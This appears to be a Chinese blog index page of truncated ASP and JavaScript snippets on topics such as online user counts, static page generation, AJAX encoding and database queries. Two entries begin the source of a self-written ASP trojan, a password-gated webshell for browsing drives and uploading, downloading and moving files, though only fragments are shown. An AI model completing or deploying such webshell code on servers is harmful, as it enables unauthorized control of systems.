统计在线人数
那就是来一个用户，在线人数加一，离开一个用户，在线人数减一。
现在首先需要解决的问题是如何知道用户的进入和增加。
在asp中，用户进入访问页面的时候，会触发一个事情，事件名称是session_onstart，在离开的时候（准确地说，是在一定的时间内没有访问页面数据，缺省的时间是20分钟），也会触发一个事件，事件的名称是session_onend。我们可以在global.asa文件中定义这两个事件所执行的操作。
接下来我们需要考虑的问题是，如何让这个变量对于所有的人都是一样的（废话，不一样那一定不准确）。因此，我们首先想到的就是把在线人数放在一个application变量里。
到这...
运用模板生成静态页例
生成代码:
<%fname="template.htm"dim replaceweb(2)replaceweb(0)="haha"replaceweb(1)="模版生成静态页面" '设置生成内容,实际中可从数据库读取replaceweb(2)="模版生成静态页面实例"set fso=server.createobject("scripting.filesystemobject")set file=fso.opentextfile(server.mappath(fname),1,True)FSOFileRead = file.ReadAllset file=nothingfo...
网页两侧浮动图片广告
<body><script language="JavaScript"> var delta=0.15 var collection; function floaters() { this.items = []; this.addItem = function(id,x,y,content) { document.write('<DIV id='+id+' style="Z-INDEX: 10; POSITION: absolute; width:80px; height:60px...
[转]AJAX中关于responseText乱码问题
用AJAX来GET回一个页面时，RESPONSETEXT里面的中文多半会出现乱码，这是因为xmlhttp在处理返回的responseText的时候，是把resposeBody按UTF-8编码进解码考形成的，如果服务器送出的确实是UTF-8的数据流的时候汉字会正确显示，而送出了GBK编码流的时候就乱了。解决的办法就是在送出的流里面加一个HEADER，指明送出的是什么编码流，这样XMLHTTP就不会乱搞了。PHP:header('Content-Type:text/html;charset=GB2312');ASP:Response.Charset("GB2312")JSP:response...
如何查询一个数据库中有哪些表\字段
建立好数据库连接后,下面代码可查出表名:<%Set rs=Conn.OpenSchema(adSchemaTables)do While not rs.EOFResponse.Write("表 名:" & rs(2) & "<br>")rs.MoveNextloop%>
下面代码可查出字段名:
<%set rs=server.createobject("adodb.recordset")sql="select*from liuyian"rs.open sql,conn,1,1for i=0 to rs.fields.count -1 response.writ...
EXCEL如何表转入SQL
<%Option Explicit%>
<!--#include file="conn.asp"--><%dim rssql,sql1set rssql=server.createobject("adodb.recordset") sql1="select*from sinfo" rssql.open sql1,conn,1,3%>
<html><head><title>Excel</title></head><body><h2 align="center">以下记录已被转到SQL数据库中</h2><table border="1" width="95%" align="...
ASP木马的功能补充
前面写过一个ASP木马雏形,加上了下载功能,上传功能,移动功能:
<%response.write"<CENTER>"fpath=Request.Querystring("fpath")ac=Request.Querystring("ac")URL=Request.ServerVariables("URL")webfolder=server.mappath("\test.asp")action2=Request("Action2")action=Request.Querystring("action")pws=request("pws")'在此处修改登录密码,修改下面的asdf为你的密...
很简洁的上传图片到数据库系统
<%dim conndim connstron error resume nextconnstr="DBQ="+server.mappath("zj.mdb")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"set conn=server.createobject("ADODB.CONNECTION")conn.open connstrSub rsclose() rs.close()set rs=nothingEnd SubSub connclose() conn.close()set conn=nothing...
自写的ASP木马
为学习FSO而写的,不要见笑
----------------------------------------------------<%response.write"<CENTER>"fpath=Request.Querystring("fpath")ac=Request.Querystring("ac")ftext = Request.form("ftext")if fpath = "" then fpath = "C:\"end if'显示服务器上的所有驱动器和类型 response.write"<font size=2>服务器上驱动器: </font>" ...
看见自己
纽约有一栋摩天大楼的老板，每个月都为昂贵的电梯修理费苦恼，因为楼很高，电梯不是一叫就来，乘客往往等得不耐烦，一直连续按钮，所以电梯钮坏得很快。 人们虽看见电梯钮已经亮了，还是要再按一下才安心，好像別人按的都不算，非得自己的"魔术指"按一下，电梯才会来。这个老板在电梯旁贴很多告示，都没有效，最后他贴出悬赏，若有人能使乘客改变习惯，给与厚奖。 结果一名心理学家在电梯门上装了一片大镜子，轻易解決了问题。因为镜子使乘客看见自己的猴急样，只要一站到镜子前，立刻变有礼貌了，原先熙熙攘攘的人群，在镜子前都成了绅士、淑女，耐心等待电梯，这就是镜子的妙用。 很多时候，人不是故意要做出某...
最新评论
- icecool：呵呵,不客气,也最近搞搞这个的.